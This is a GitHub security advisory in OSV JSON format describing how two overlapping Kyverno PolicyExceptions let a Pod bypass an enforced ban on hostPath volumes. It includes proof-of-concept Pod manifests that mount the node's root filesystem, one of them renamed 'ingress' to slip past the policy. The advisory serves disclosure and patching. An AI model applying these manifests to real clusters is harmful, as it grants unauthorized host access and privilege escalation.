GHSA-gg4x-fgg2-h9w9: Github.com/kyverno/kyverno Bypassing Kyverno Policies Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gg4x-fgg2-h9w9",
  "modified" : "2026-01-06T18:00:16Z",
  "published" : "2026-01-06T18:00:16Z",
  "aliases" : [ ],
  "summary" : "Bypassing Kyverno Policies via Double Policy Exceptions",
  "details" : "### Summary\nIf a cluster has a `Kyverno` policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.\n\n### Details\n\nThe following policy was applied:\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: disallow-host-path\n  annotations:\n    policies.kyverno.io/title: Disallow hostPath\n    policies.kyverno.io/category: Pod Security Standards (Baseline)\n    policies.kyverno.io/severity: medium\n    policies.kyverno.io/subject: Pod,Volume\n    kyverno.io/kyverno-version: 1.6.0\n    kyverno.io/kubernetes-version: \"1.22-1.23\"\n    policies.kyverno.io/description: >-\n      HostPath volumes let Pods use host directories and volumes in containers.\n      Using host resources can be used to access shared data or escalate privileges\n      and should not be allowed. This policy ensures no hostPath volumes are in use.\nspec:\n  validationFailureAction: Enforce\n  background: true\n  rules:\n    - name: host-path\n      match:\n        any:\n        - resources:\n            kinds:\n              - Pod\n      validate:\n        message: >-\n          HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.\n        pattern:\n          spec:\n            =(volumes):\n              - X(hostPath): \"null\"\n```\n\nAnd two exceptions:\n\n```yaml\napiVersion: kyverno.io/v2beta1\nkind: PolicyException\nmetadata:\n  name: disallow-host-path-exception\n  namespace: kyverno\nspec:\n  exceptions:\n  - policyName: disallow-host-path\n    ruleNames:\n    - host-path\n  match:\n    any:\n    - resources:\n        kinds:\n        - DaemonSet\n        - Deployment\n        - Job\n        - StatefulSet\n        - ReplicaSet\n        - ReplicationController\n        - Pod\n        - CronJob\n        namespaces:\n        - luntry\n        - tstkyverno\n        - examplens\n```\n```yaml\napiVersion: kyverno.io/v2beta1\nkind: PolicyException\nmetadata:\n  name: disallow-host-path-exception-names\n  namespace: kyverno\nspec:\n  exceptions:\n  - policyName: disallow-host-path\n    ruleNames:\n    - host-path\n  match:\n    any:\n    - resources:\n        kinds:\n        - DaemonSet\n        - Deployment\n        - Job\n        - StatefulSet\n        - ReplicaSet\n        - ReplicationController\n        - Pod\n        - CronJob\n        names:\n        - '*haproxy*'\n        - '*ingress*'\n```\nTrying to apply such a yaml will result in the expected ban:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: mtkpi\n  labels:\n    app: pentest\nspec:\n  containers:\n  - name: mtkpi\n    image: ubuntu\n    volumeMounts:\n    - mountPath: /host\n      name: noderoot\n    command: [ \"/bin/sh\", \"-c\", \"--\" ]\n    args: [ \"while true; do sleep 30; done;\" ]  \n  volumes:\n  - name: noderoot\n    hostPath:\n      path: /\n```\n<img width=\"855\" height=\"483\" alt=\"Снимок экрана 2025-09-04 в 13 35 46\" src=\"https://github.com/user-attachments/assets/deb28128-52fb-4f5f-a9bd-b68eefd411b2\" />\n\nHowever, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: ingress\n  labels:\n    app: pentest\nspec:\n  containers:\n  - name: mtkpi\n    image: ubuntu\n    volumeMounts:\n    - mountPath: /host\n      name: noderoot\n    command: [ \"/bin/sh\", \"-c\", \"--\" ]\n    args: [ \"while true; do sleep 30; done;\" ]  \n  volumes:\n  - name: noderoot\n    hostPath:\n      path: /\n```\n\n<img width=\"449\" height=\"386\" alt=\"Снимок экрана 2025-09-04 в 13 37 09\" src=\"https://github.com/user-attachments/assets/8d5ad1e2-6d16-4768-8741-f11363bb9b22\" />\n\nIt turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.\n\n### Impact\nThe security restrictions can be bypassed.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kyverno/kyverno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.9.0"
      }, {
        "fixed" : "1.13.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.12.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-gg4x-fgg2-h9w9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kyverno/kyverno"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-06T18:00:16Z",
    "nvd_published_at" : null
  }
}